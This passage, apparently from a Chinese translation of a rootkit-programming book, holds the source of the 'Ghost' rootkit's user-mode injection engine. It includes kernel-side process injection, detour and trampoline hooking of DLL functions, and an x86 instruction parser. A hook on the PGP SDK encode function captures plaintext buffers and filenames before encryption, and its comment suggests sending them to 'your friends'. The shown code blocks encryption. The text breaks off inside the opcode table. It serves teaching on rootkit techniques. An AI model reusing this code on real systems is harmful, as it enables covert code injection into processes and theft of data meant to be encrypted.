#define PUSH_STACKFRAME( ) __asm{ __asm push ebp __asm mov ebp, esp __asm sub esp,
__LOCAL_SIZE __asm push edi __asm push esi __asm push ebx __asm pushfd }
#define POP_STACKFRAME( ) __asm{ __asm popfd __asm pop ebx __asm pop esi __asm pop
edi __asm mov esp, ebp __asm pop ebp }
#define INJECT_JUMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xe9; *((DWORD
*)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; }
#define GET_JUMP( from ) (((PCHAR)from)[0]==(CHAR)0xe9)? (*((DWORD
*)&(((PCHAR)(from))[1])) + 5 + (DWORD)(from)) : 0
#pragma pack(1)
// Prototypes for functions in kernel32.dll that are expected to be used in hook
functions
typedef int (__stdcall * PROTOTYPE_lstrlenA)( LPCSTR lpString );
typedef int (__stdcall * PROTOTYPE_lstrlenW)( LPCWSTR lpString );
typedef LPSTR (__stdcall * PROTOTYPE_lstrcpynA)( LPSTR lpString1, LPCSTR lpString2,
int iMaxLength );
typedef LPWSTR (__stdcall * PROTOTYPE_lstrcpynW)( LPWSTR lpString1, LPCWSTR
lpString2, int iMaxLength );
typedef LPSTR (__stdcall * PROTOTYPE_lstrcpyA)( LPSTR lpString1, LPCSTR lpString2
);
typedef LPWSTR (__stdcall * PROTOTYPE_lstrcpyW)( LPWSTR lpString1, LPCWSTR
lpString2 );
typedef int (__stdcall * PROTOTYPE_lstrcmpiA)( LPCSTR lpString1, LPCSTR lpString2
);
typedef int (__stdcall * PROTOTYPE_lstrcmpiW)( LPCWSTR lpString1, LPCWSTR lpString2
);
typedef int (__stdcall * PROTOTYPE_lstrcmpA)( LPCSTR lpString1, LPCSTR lpString2 );
typedef int (__stdcall * PROTOTYPE_lstrcmpW)( LPCWSTR lpString1, LPCWSTR lpString2
);
typedef LPSTR (__stdcall * PROTOTYPE_lstrcatA)( LPSTR lpString1, LPCSTR lpString2
);
typedef LPWSTR (__stdcall * PROTOTYPE_lstrcatW)( LPWSTR lpString1, LPCWSTR
lpString2 );
typedef VOID (__stdcall * PROTOTYPE_OutputDebugStringA)( LPCSTR lpOutputString );
typedef VOID (__stdcall * PROTOTYPE_OutputDebugStringW)( LPCWSTR lpOutputString );
typedef HANDLE (__stdcall * PROTOTYPE_CreateFileW)( LPCWSTR lpFileName, DWORD
dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
typedef VOID (__stdcall * PROTOTYPE_Sleep)( DWORD dwMilliseconds );
typedef BOOL (__stdcall * PROTOTYPE_CloseHandle)( HANDLE hObject );
typedef DWORD (__stdcall * PROTOTYPE_GetCurrentProcessId)( VOID );
typedef DWORD (__stdcall * PROTOTYPE_GetCurrentThreadId)( VOID );
typedef struct _CALL_DATA_STRUCT
{
UINT index;
UINT parameters;
PCHAR hookFunction;
UINT callType;
UINT stackOffset;
} CALL_DATA_STRUCT;
typedef struct _IN_PROCESS_DATA
{
// function addresses
PROTOTYPE_lstrlenA plstrlenA;
PROTOTYPE_lstrlenW plstrlenW;
PROTOTYPE_lstrcpynA plstrcpynA;
PROTOTYPE_lstrcpynW plstrcpynW;
PROTOTYPE_lstrcpyA plstrcpyA;
PROTOTYPE_lstrcpyW plstrcpyW;
PROTOTYPE_lstrcmpiA plstrcmpiA;
PROTOTYPE_lstrcmpiW plstrcmpiW;
PROTOTYPE_lstrcmpA plstrcmpA;
PROTOTYPE_lstrcmpW plstrcmpW;
PROTOTYPE_lstrcatA plstrcatA;
PROTOTYPE_lstrcatW plstrcatW;
PROTOTYPE_OutputDebugStringA pOutputDebugStringA;
PROTOTYPE_OutputDebugStringW pOutputDebugStringW;
PROTOTYPE_CreateFileW pCreateFileW;
PROTOTYPE_CloseHandle pCloseHandle;
PROTOTYPE_Sleep pSleep;
PROTOTYPE_GetCurrentProcessId pGetCurrentProcessId;
PROTOTYPE_GetCurrentThreadId pGetCurrentThreadId;
char debugString[64];
} IN_PROCESS_DATA;
BOOL processInject( CALL_DATA_STRUCT* pCallData, int hooks2find, PCHAR pUserMem );
PCHAR allocateUserMemory( void );
BOOL createTrampoline( PCHAR originalAddress, PCHAR newStartAddress, PCHAR
newEndAddress );
ULONG getx86Instruction( PCHAR originalCode, PCHAR instructionBuffer, ULONG
bufferLength );
DWORD BeforeOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD*
returnParameter, IN_PROCESS_DATA* callData );
void AfterOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD*
returnParameter, IN_PROCESS_DATA* callData );
BOOL makeWritable( PVOID address, ULONG size );
// structures required to inject into PGP
typedef struct _PGPOption
{
unsigned int type;
unsigned int flags;
unsigned int value;
unsigned int valueSize;
void* subOptions;
void* handlerProc;
} PGPOption;
typedef struct _PGPVersion
{
unsigned short majorVersion;
unsigned short minorVersion;
} PGPVersion;
typedef struct _PGPOptionList
{
unsigned int magic;
PGPVersion version;
void* context;
int err;
unsigned int flags;
unsigned short maxOptions;
unsigned short numOptions;
PGPOption* options;
} PGPOptionList;
typedef struct _PFLFileSpec
{
unsigned int magic;
void* memoryMgr;
unsigned int type;
unsigned int dataSize;
void* vtbl;
void* data;
} PFLFileSpec;
typedef struct _FILELIST
{
char* name;
int IsDirectory;
struct _FILELIST* next;
} FILELIST;
#define PGP_OK 0
#define PGP_BAD_API -11460
#define PGP_FILE_FAIL -11991
#endif
injectManager.c
通过增加injectManager.c文件来执行进程注入。这是本章的主要文件,理解它将对理解使用跳转方法进程注入大有帮助。
这个文件包括12个函数:
HookTable–每个挂钩都有一个HookTable,并作为数据被拷贝到用户内存。
DetourFunction–这是包含调用数据和跳转的空间。
beforeEncode–这是被注入函数调用替换被挂钩函数。
BeforeOriginalFunction–在所有挂钩前调用。
AfterOriginalFunction–在所有挂钩后调用。
EndOfInjectedCode–作为一个标记来指示注入代码的末端。
allocateUserMemory–在调用进程的内存中分配空间。
getx86Instruction–获得在跳转中使用的x86指令。
makeWritable–确保内存可写。
createTrampoline–为被挂钩库中每个挂钩创建一个跳转。
getHookPointers–算出所有挂钩位置。
processInject–被NewZwMapViewOfSection调用来注入一个挂钩。
这12个函数中5个被注入到进程内存:
DetourFunction
beforeEncode
BeforeOriginalFunction
AfterOriginalFunction
EndOfInjectedCode
这五个函数中只有一个beforeEncode是进程注入挂钩。
这个函数在原函数(包括PGP版本9编码)执行之前被调用。这个函数通过一个功能选择表查找被送往编码并可以被用来在编码前欺骗数据的缓冲区和文件名来实现迭代。这个函数只要在试图加密一个文件或一个缓冲区时返回PGP_BAD_API实现PGP分块编码。
// injectManager
// Copyright Ric Vieler, 2006
// Hook Dynamic Link Libraries
#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "injectManager.h"
#include "parse86.h"
#include <stdarg.h>
#include <stdio.h>
#pragma code_seg("PAGE")
#pragma optimize( "", off )
extern PVOID kernel32Base;
static void HookTable( void );
static void DetourFunction( void );
static void EndOfInjectedCode( void );
static DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA*
pCallData );
static DWORD BeforeOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD*
returnParameter, IN_PROCESS_DATA* callData );
static void AfterOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD*
returnParameter, IN_PROCESS_DATA* callData );
#define JUMP_TO_DETOUR_LOCATION -5
#define CALLDATA_INDEX_LOCATION 0
#define CALLDATA_PARAMETERS_LOCATION 4
#define CALLDATA_CALLTYPE_LOCATION 8
#define CALLDATA_STACK_OFFSET_LOCATION 12
#define TRAMPOLINE_LOCATION 16
#define START_OF_TRAMPOLINE_PATTERN -1
void __declspec(naked) HookTable( void )
{
__asm
{
push eax
xor eax, eax
call phoney_call
phoney_call:
lea eax, phoney_call
lea edx, phoney_jump
sub edx, eax
pop eax
add eax, edx
mov edx, eax
pop eax
jmp DetourFunction
phoney_jump:
EMIT_FOUR( 0xff )
EMIT_FOUR( 0x0 )
EMIT_FOUR( 0x0 )
EMIT_FOUR( 0x0 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
EMIT_FOUR( 0x90 )
jmp EndOfInjectedCode
}
}
////////////////////////////////
// Injected functions
////////////////////////////////
void __declspec(naked) DetourFunction( void )
{
PUSH_STACKFRAME();
{
DWORD hookIndex;
DWORD parameters;
DWORD callType;
DWORD stackOffset;
PCHAR trampolineFunction;
IN_PROCESS_DATA* callData;
PCHAR codeStart;
PDWORD originalStack;
DWORD tempStack;
int loop;
int parameters4return;
DWORD parameter2return = 0;
DWORD continueFlag;
DWORD register_esp;
DWORD register_edi;
DWORD register_esi;
DWORD register_eax;
DWORD register_ebx;
DWORD register_ecx;
DWORD add2stack;
// setup to call injected functions
__asm
{
mov register_esp, esp
mov register_edi, edi
mov register_esi, esi
mov register_eax, eax
mov register_ebx, ebx
mov register_ecx, ecx
// get parameters
push edx
mov edx, [edx+CALLDATA_INDEX_LOCATION]
mov hookIndex, edx
pop edx
push edx
mov edx, [edx+CALLDATA_PARAMETERS_LOCATION]
mov parameters, edx
pop edx
push edx
mov edx, [edx+CALLDATA_CALLTYPE_LOCATION]
mov callType, edx
pop edx
push edx
mov edx, [edx+CALLDATA_STACK_OFFSET_LOCATION]
mov stackOffset, edx
pop edx
push edx
add edx, TRAMPOLINE_LOCATION
mov trampolineFunction, edx
pop edx
// caculate the start address
xor eax, eax
call called_without_return
called_without_return:
pop eax
lea ebx, DetourFunction
lea ecx, called_without_return
sub ecx, ebx
sub eax, ecx
mov codeStart, eax
// data area
lea ecx, EndOfInjectedCode
sub ecx, ebx
add ecx, eax
mov callData, ecx
// caculate the last ret address
mov eax, ebp
add eax, 4// pushed ebp
add eax, stackOffset
mov originalStack, eax
}
// setup return call type
if( callType == CDECL_TYPE )
add2stack = parameters * sizeof( DWORD );
else
add2stack = 0;
// call pre-injected code
continueFlag = BeforeOriginalFunction( hookIndex, originalStack,
¶meter2return, callData );
if( continueFlag == (DWORD)TRUE )
{
for( loop = parameters; loop > 0; loop-- )
{
tempStack = originalStack[loop];
__asm push tempStack
}
// Call trampoline (jumps to original function)
//
// Since trampoline is a jump, the return in
// the original function will come back here.
__asm
{
lea ebx, DetourFunction
lea eax, return_from_trampoline
sub eax, ebx
add eax, codeStart
// construct call
push eax
// adjust stack
sub esp, stackOffset
// restore registers and call
mov edi, register_edi
mov esi, register_esi
mov eax, register_eax
mov ebx, register_ebx
mov ecx, register_ecx
jmp trampolineFunction
return_from_trampoline:
add esp, add2stack
mov parameter2return, eax
}
// call post-injected code
AfterOriginalFunction( hookIndex, originalStack, ¶meter2return, callData );
}
// prepare to return
tempStack = *originalStack;
if( callType == CDECL_TYPE )
parameters4return = 0;
else
parameters4return = parameters;
__asm
{
mov eax, parameter2return
mov ecx, tempStack
mov edx, parameters4return
shl edx, 2
add edx, stackOffset
POP_STACKFRAME();
add esp, 4
add esp, edx
jmp ecx
}
__asm mov edx, trampolineFunction
}
POP_STACKFRAME();
__asm jmp edx
}
///////////////////////////////////////////////////////////////
// this function is located in the PGP SDK
// dynamic link library (old=PGP_SDK.DLL, new=PGPsdk.dll)
// This function accepts the callers input and output,
// which may be memory or file based, and converts the input
// into encrypted output
//
// return TRUE to allow encryption
// return FALSE to block encryption
///////////////////////////////////////////////////////////////
DWORD beforeEncode( PDWORD stack, DWORD* callbackReturn, IN_PROCESS_DATA* pCallData
)
{
void* contextPtr = (void*)stack[1];
PGPOptionList* optionListPtr = (PGPOptionList*)stack[2];
DWORD dwRet = (DWORD)TRUE;
int index;
int inputType = 0;
void* lpBuffer;
DWORD dwInBufferLen = 0;
PGPOption* currentOption = optionListPtr->options;
PFLFileSpec* fileSpec;
// Look at the options in the option list
for( index = 0; index < optionListPtr->numOptions; index++)
{
if( currentOption->type == 1 )
{
// File Input
inputType = 1;
fileSpec = (PFLFileSpec*)currentOption->value;
lpBuffer = fileSpec->data;
dwInBufferLen = (DWORD)pCallData->plstrlenA((LPCSTR)(lpBuffer));
break;
}
else if( currentOption->type == 2 )
{
// Buffer Input
inputType = 2;
lpBuffer = (void*)currentOption->value;
dwInBufferLen = (DWORD)currentOption->valueSize;
break;
}
currentOption++;
}
// Send buffer or filename to your friends
if(( inputType == 1 || inputType == 2 ) && ( dwInBufferLen > 0 ))
{
// just blocking this API to show functionality
dwRet = (DWORD)FALSE;
*callbackReturn = PGP_BAD_API;
}
return dwRet;
}
DWORD BeforeOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD*
returnParameter, IN_PROCESS_DATA* callData )
{
if( hookIndex == USERHOOK_beforeEncode )
{
return beforeEncode( originalStack, returnParameter, callData );
}
return (DWORD)TRUE;
}
void AfterOriginalFunction( DWORD hookIndex, PDWORD originalStack, DWORD*
returnParameter, IN_PROCESS_DATA* callData )
{
}
// EndOfInjectedCode - DetourFunction = size of injected code
// Content doesn't matter, so just trap a debug exception
void __declspec(naked) EndOfInjectedCode( void )
{
__asm int 3
}
////////////////////////////////
// End injected functions
////////////////////////////////
PCHAR allocateUserMemory()
{
LONG memorySize;
LONG tableSize;
LONG codeSize;
LONG dataSize;
ULONG buffer[2];
NTSTATUS status;
PCHAR pMemory;
IN_PROCESS_DATA* pData;
// Calculate sizes
// table = (DetourFunction - HookTable) * TOTAL_HOOKS
// code = EndOfInjectedCode - DetourFunction
// data = sizof( IN_PROCESS_DATA )
__asm
{
lea eax, HookTable
lea ebx, DetourFunction
lea ecx, EndOfInjectedCode
mov edx, ebx
sub edx, eax
mov tableSize, edx
mov edx, ecx
sub edx, ebx
mov codeSize, edx
}
tableSize = tableSize * TOTAL_HOOKS;
dataSize = sizeof( IN_PROCESS_DATA );
memorySize = tableSize + codeSize + dataSize;
// Allocate memory
buffer[0] = 0;
buffer[1] = memorySize;
status = ZwAllocateVirtualMemory( (HANDLE)-1, (PVOID*)buffer, 0, &buffer[1],
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
pMemory = (PCHAR)(buffer[0]);
if( !NT_SUCCESS( status ) || !pMemory )
return NULL;
// initialize memory
memset( pMemory, 0x90, tableSize + codeSize );
pData = (IN_PROCESS_DATA*)(pMemory + tableSize + codeSize );
memset( (PVOID)pData, 0, dataSize );
return pMemory;
}
ULONG getx86Instruction( PCHAR originalCode, PCHAR instructionBuffer, ULONG
bufferLength )
{
PBYTE source = NULL;
PBYTE destination = NULL;
ULONG ulCopied = 0;
PBYTE jumpAddress = NULL;
LONG extra = 0;
memset( instructionBuffer, 0, bufferLength );
source = (PBYTE)originalCode;
destination = (PBYTE)instructionBuffer;
jumpAddress = NULL;
extra = 0;
// start with 5 bytes
for( ulCopied = 0; ulCopied < 5; )
{
source = transferInstruction( destination, source, &jumpAddress, &extra );
if( !source )
{
memset( instructionBuffer, 0, bufferLength );
ulCopied = 0;
break;
}
ulCopied = (DWORD)source - (DWORD)originalCode;
if( ulCopied >= bufferLength )
{
ASSERT( FALSE );
break;
}
destination = (PBYTE)instructionBuffer + ulCopied;
}
return ulCopied;
}
BOOL makeWritable( PVOID address, ULONG size )
{
NTSTATUS status;
ULONG pageAccess;
ULONG ZwProtectArray[3] = { 0 };
pageAccess = PAGE_EXECUTE_READWRITE;
ZwProtectArray[0] = (ULONG)address;
ZwProtectArray[1] = size;
ZwProtectArray[2] = 0;
status = OldZwProtectVirtualMemory( (HANDLE)-1,
(PVOID *)(&(ZwProtectArray[0])),
&(ZwProtectArray[1]),
pageAccess,
&(ZwProtectArray[2]) );
if( !NT_SUCCESS( status ) )
return FALSE;
return TRUE;
}
// Parse first instruction of original function.
// Replace first instruction with jump to hook.
// Save first instruction to trampoline function.
// Only call original function through trampoline.
BOOL createTrampoline( PCHAR originalAddress, PCHAR tableAddress, PCHAR
trampolineAddress )
{
ULONG newOriginalAddress = 0;
char instruction[MAX_INSTRUCTION] = { 0 };
ULONG instructionLength;
instructionLength = getx86Instruction( originalAddress, instruction,
sizeof(instruction) );
newOriginalAddress = (ULONG)(originalAddress + instructionLength);
// see if it's a jump
if( isJump( instruction, instructionLength ) )
{
PVOID pOldDstAddr = (PVOID)(GET_JUMP( instruction ));
if( pOldDstAddr )
{
// If first instruction of original function
// is a jump, trampoline instruction is NO-OP
// and jump target is original jump target
memset( instruction, 0x90, sizeof(instruction) );
instructionLength = 0;
newOriginalAddress = (ULONG)pOldDstAddr;
}
else
{
return FALSE;
}
}
if( makeWritable( (PVOID)trampolineAddress, MAX_INSTRUCTION + 5 ) )
{
// write trampoline function
memset( trampolineAddress, 0x90, MAX_INSTRUCTION + 5 );
memcpy( trampolineAddress, instruction, instructionLength );
INJECT_JUMP( trampolineAddress + instructionLength, newOriginalAddress );
// set original function to jump to trampoline function
if( makeWritable( originalAddress, instructionLength + 5 ) )
{
INJECT_JUMP( originalAddress, tableAddress );
return TRUE;
}
}
return FALSE;
}
BOOL getHookPointers( PCHAR pMemory, PCHAR* pTable, PCHAR* pCode, PCHAR* pData )
{
LONG tableSize = 0;
LONG codeSize = 0;
LONG dataSize = 0;
__asm
{
lea eax, HookTable
lea ebx, DetourFunction
lea ecx, EndOfInjectedCode
mov edx, ebx
sub edx, eax
mov tableSize, edx
mov edx, ecx
sub edx, ebx
mov codeSize, edx
}
tableSize = tableSize * TOTAL_HOOKS;
dataSize = sizeof(IN_PROCESS_DATA);
*pTable = pMemory;
*pCode = *pTable + tableSize;
*pData = *pCode + codeSize;
return TRUE;
}
BOOL processInject( CALL_DATA_STRUCT* pCallData, int hooks, PCHAR pMemory )
{
int loop;
int offsetToPattern;
PCHAR pNewTable;
PCHAR pNewCode;
IN_PROCESS_DATA* pNewData;
PCHAR pOldTable;
PCHAR pOldCode;
PCHAR pOldData;
DWORD tableLength;
DWORD tableOffset;
PCHAR callDataOffset;
if( !kernel32Base )
return FALSE;
if( !getHookPointers( pMemory, &pNewTable, &pNewCode, (PCHAR*)&pNewData ) )
return FALSE;
pNewData->pOutputDebugStringA = (PROTOTYPE_OutputDebugStringA)GetFunctionAddress(
kernel32Base, "OutputDebugStringA", NULL, 0 );
pNewData->pOutputDebugStringW = (PROTOTYPE_OutputDebugStringW)GetFunctionAddress(
kernel32Base, "OutputDebugStringW", NULL, 0 );
pNewData->pCloseHandle = (PROTOTYPE_CloseHandle)GetFunctionAddress( kernel32Base,
"CloseHandle", NULL, 0 );
pNewData->pSleep = (PROTOTYPE_Sleep)GetFunctionAddress( kernel32Base, "Sleep",
NULL, 0 );
pNewData->pCreateFileW = (PROTOTYPE_CreateFileW)GetFunctionAddress( kernel32Base,
"CreateFileW", NULL, 0 );
pNewData->plstrlenA = (PROTOTYPE_lstrlenA)GetFunctionAddress( kernel32Base,
"lstrlenA", NULL, 0 );
pNewData->plstrlenW = (PROTOTYPE_lstrlenW)GetFunctionAddress( kernel32Base,
"lstrlenW", NULL, 0 );
pNewData->plstrcpynA = (PROTOTYPE_lstrcpynA)GetFunctionAddress( kernel32Base,
"lstrcpynA", NULL, 0 );
pNewData->plstrcpynW = (PROTOTYPE_lstrcpynW)GetFunctionAddress( kernel32Base,
"lstrcpynW", NULL, 0 );
pNewData->plstrcpyA = (PROTOTYPE_lstrcpyA)GetFunctionAddress( kernel32Base,
"lstrcpyA", NULL, 0 );
pNewData->plstrcpyW = (PROTOTYPE_lstrcpyW)GetFunctionAddress( kernel32Base,
"lstrcpyW", NULL, 0 );
pNewData->plstrcmpiA = (PROTOTYPE_lstrcmpiA)GetFunctionAddress( kernel32Base,
"lstrcmpiA", NULL, 0 );
pNewData->plstrcmpiW = (PROTOTYPE_lstrcmpiW)GetFunctionAddress( kernel32Base,
"lstrcmpiW", NULL, 0 );
pNewData->plstrcmpA = (PROTOTYPE_lstrcmpA)GetFunctionAddress( kernel32Base,
"lstrcmpA", NULL, 0 );
pNewData->plstrcmpW = (PROTOTYPE_lstrcmpW)GetFunctionAddress( kernel32Base,
"lstrcmpW", NULL, 0 );
pNewData->plstrcatA = (PROTOTYPE_lstrcatA)GetFunctionAddress( kernel32Base,
"lstrcatA", NULL, 0 );
pNewData->plstrcatW = (PROTOTYPE_lstrcatW)GetFunctionAddress( kernel32Base,
"lstrcatW", NULL, 0 );
sprintf( pNewData->debugString, "This is a string contained in injected memory\n"
); __asm
{
lea eax, HookTable
mov pOldTable, eax
lea eax, DetourFunction
mov pOldCode, eax
lea eax, EndOfInjectedCode
mov pOldData, eax
}
memcpy( pNewCode, pOldCode, pOldData - pOldCode );
tableLength = pOldCode - pOldTable;
for( loop = 0; loop < (int)tableLength - 4; loop ++ )
{
if( *(PDWORD)(pOldTable+loop) == (DWORD)START_OF_TRAMPOLINE_PATTERN )
{
offsetToPattern = loop;
break;
}
}
for( loop = 0; loop < hooks; loop ++ )
{
tableOffset = tableLength * pCallData[loop].index;
callDataOffset = pNewTable + tableOffset + offsetToPattern;
memcpy( pNewTable + tableOffset, pOldTable, tableLength );
*((PDWORD)(callDataOffset + CALLDATA_INDEX_LOCATION)) = pCallData[loop].index;
*((PDWORD)(callDataOffset + CALLDATA_PARAMETERS_LOCATION)) =
pCallData[loop].parameters;
*((PDWORD)(callDataOffset + CALLDATA_CALLTYPE_LOCATION)) =
pCallData[loop].callType;
*((PDWORD)(callDataOffset + CALLDATA_STACK_OFFSET_LOCATION)) =
pCallData[loop].stackOffset;
INJECT_JUMP( callDataOffset + JUMP_TO_DETOUR_LOCATION, pNewCode );
createTrampoline( pCallData[loop].hookFunction,
pNewTable + tableOffset,
callDataOffset + TRAMPOLINE_LOCATION);
}
return TRUE;
}
#pragma optimize( "", on )
parse86.h
通过增加parse86.h文件来支持Intel x86指令语法。跳转函数需要这个功能。在这个函数中定义3个函数:
transferInstruction–将指令分解为x86指令
isJump–检查所有的跳转指令
getNextInstruction–将更多的编码分解为x86指令
// Copyright Ric Vieler, 2006
// Support header for parse86.c
#ifndef _USER_HOOK_PARSE_H_
#define _USER_HOOK_PARSE_H_
#include "ghost.h"
#pragma optimize( "", off )
#define I***ETWEEN(x,mn,mx) ((x)>=(mn)&&(x)<=(mx))
#define IS_EQUAL(x,ix) ((x)==(ix))
#define TARGETLESS_X86INSTRUCTION ((PBYTE)0)
#define DYNAMIC_X86INSTRUCTION ((PBYTE)~0ul)
PBYTE transferInstruction( PBYTE destination, PBYTE source, PBYTE* jumpAddress,
LONG* extra );
BOOL isJump( PCHAR instruction, ULONG instructionLength );
ULONG getNextInstruction( PCHAR pCodeSrc, ULONG ulMinBytes, PCHAR pDstBuffer, ULONG
ulBufferLen );
#pragma optimize( "", on )
#endif
parse86.c
通过增加parse86.c文件来执行Intel x86指令语法分析。这个文件包括13个函数:
transferInstruction–为源代码中的操作数调用翻译函数
transferData–使用参考数据翻译关联数据
transferDataPrefix–翻译转换前缀为66和67的操作数
adjustData–使用相对偏移调整操作数
noTransferOp–无传递操作的伪函数
transferOp0F–翻译传递0f操作数
transferOp66–翻译传递66操作数
transferOp67–翻译传递67操作数
transferOpF6–翻译传递f6操作数
transferOpF7–翻译传递f7操作数
transferOpFF–翻译传递ff操作数
getNextInstruction–将更多的编码分解为x86指令
isJump–检查所有的跳转指令
// parse86
// Copyright Ric Vieler, 2006
// disassembler for getx86Instruction
#if _WIN32_WINNT >= 0x0500
#define NDIS50 1
#else
#define NDIS40 1
#endif
#define BINARY_COMPATIBLE 0
#ifdef __cplusplus
extern "C" {
#endif
#include <ndis.h>
#include <ntddk.h>
#include "ghost.h"
#include "injectManager.h"
#ifdef __cplusplus
}
#endif
#include "parse86.h"
#pragma code_seg("PAGE")
#pragma optimize( "", off )
// for X86INSTRUCTION struct
#pragma pack(1)
typedef struct _X86_16BIT_INSTRUCTION
{
BOOL operandIs16;
BOOL addressIs16;
PBYTE* jumpAddress;
LONG* extra;
} X86_16BIT_INSTRUCTION;
// forward declaration for XFER_FUNCTION
struct _X86INSTRUCTION;
typedef struct _X86INSTRUCTION* PX86INSTRUCTION;
typedef PBYTE (*XFER_FUNCTION)(X86_16BIT_INSTRUCTION* op16Ptr, PX86INSTRUCTION
opPtr, PBYTE destination, PBYTE source);
typedef struct _X86INSTRUCTION
{
ULONG opcode : 8;
ULONG size : 3;
ULONG size16 : 3;
ULONG modeOffset : 3;
LONG relOffset : 3;
ULONG flagMask : 4;
XFER_FUNCTION pXferFunction;
} X86INSTRUCTION;
// flags for flagMask
enum
{
DYNAMIC_FLAG = 0x1u,
ADDRESS_FLAG = 0x2u,
NOENLARGE_FLAG = 0x4u,
SIB_FLAG = 0x10u,
NOTSIB_FLAG = 0x0fu,
};
#pragma pack()
BYTE regMemMode[256] =
{
0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0, // 00 - 0f
0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0, // 10 - 1f
0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0, // 20 - 2f
0,0,0,0,0x11,4,0,0,0,0,0,0,0x11,4,0,0, // 30 - 3f
1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1, // 40 - 4f
1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1, // 50 - 5f
1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1, // 60 - 6f
1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1, // 70 - 7f
4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4, // 80 - 8f
4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4, // 90 - 9f
4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4, // a0 - af
4,4,4,4,5,4,4,4,4,4,4,4,5,4,4,4, // b0 - bf
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // c0 - cf
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // d0 - df
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // e0 - ef
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 // f0 - ff
};
// prototypes for X86INSTRUCTION
PBYTE transferData( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferDataPrefix( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr,
PBYTE destination, PBYTE source );
PBYTE adjustData( X86_16BIT_INSTRUCTION* op16Ptr, PBYTE destination, PBYTE source,
LONG bytes, LONG targetOffset );
PBYTE noTransferOp( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferOp0F( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferOp66( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferOp67( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferOpF6( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferOpF7( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
PBYTE transferOpFF( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE
destination, PBYTE source );
// follows opcode in X86INSTRUCTION
#define transfer1 1, 1, 0, 0, 0, transferData
#define transfer1Dynamic 1, 1, 0, 0, DYNAMIC_FLAG, transferData
#define transfer2 2, 2, 0, 0, 0, transferData
#define transfer2Jump 2, 2, 0, 1, 0, transferData
#define transfer2NoJump 2, 2, 0, 1, NOENLARGE_FLAG, transferData
#define transfer2Dynamic 2, 2, 0, 0, DYNAMIC_FLAG, transferData
#define transfer3 3, 3, 0, 0, 0, transferData
#define transfer3Dynamic 3, 3, 0, 0, DYNAMIC_FLAG, transferData
#define transfer3Or5 5, 3, 0, 0, 0, transferData
#define transfer3Or5Target 5, 3, 0, 1, 0, transferData
#define transfer5Or7Dynamic 7, 5, 0, 0, DYNAMIC_FLAG, transferData
#define transfer3Or5Address 5, 3, 0, 0, ADDRESS_FLAG, transferData
#define transfer4 4, 4, 0, 0, 0, transferData
#define transfer5 5, 5, 0, 0, 0, transferData
#define transfer7 7, 7, 0, 0, 0, transferData
#define transfer2Mod 2, 2, 1, 0, 0, transferData
#define transfer2Mod1 3, 3, 1, 0, 0, transferData
#define transfer2ModOperand 6, 4, 1, 0, 0, transferData
#define transfer3Mod 3, 3, 2, 0, 0, transferData
#define transferPrefix 1, 1, 0, 0, 0, transferDataPrefix
#define transfer0F 1, 1, 0, 0, 0, transferOp0F
#define transfer66 1, 1, 0, 0, 0, transferOp66
#define transfer67 1, 1, 0, 0, 0, transferOp67
#define transferF6 0, 0, 0, 0, 0, transferOpF6
#define transferF7 0, 0, 0, 0, 0, transferOpF7
#define transferFF 0, 0, 0, 0, 0, transferOpFF
#define noTransfer 1, 1, 0, 0, 0, noTransferOp
#define lastEntry 0, 0, 0, 0, 0, NULL
// intel op codes and disassembly parameters
X86INSTRUCTION instructionMap[257] =
{
{ 0x00, transfer2Mod },
{ 0x01, transfer2Mod },
{ 0x02, transfer2Mod },
{ 0x03, transfer2Mod },
{ 0x04, transfer2 },
{ 0x05, transfer3Or5 },
{ 0x06, transfer1 },
{ 0x07, transfer1 },
{ 0x08, transfer2Mod },
{ 0x09, transfer2Mod },
{ 0x0A, transfer2Mod },
{ 0x0B, transfer2Mod },
{ 0x0C, transfer2 },
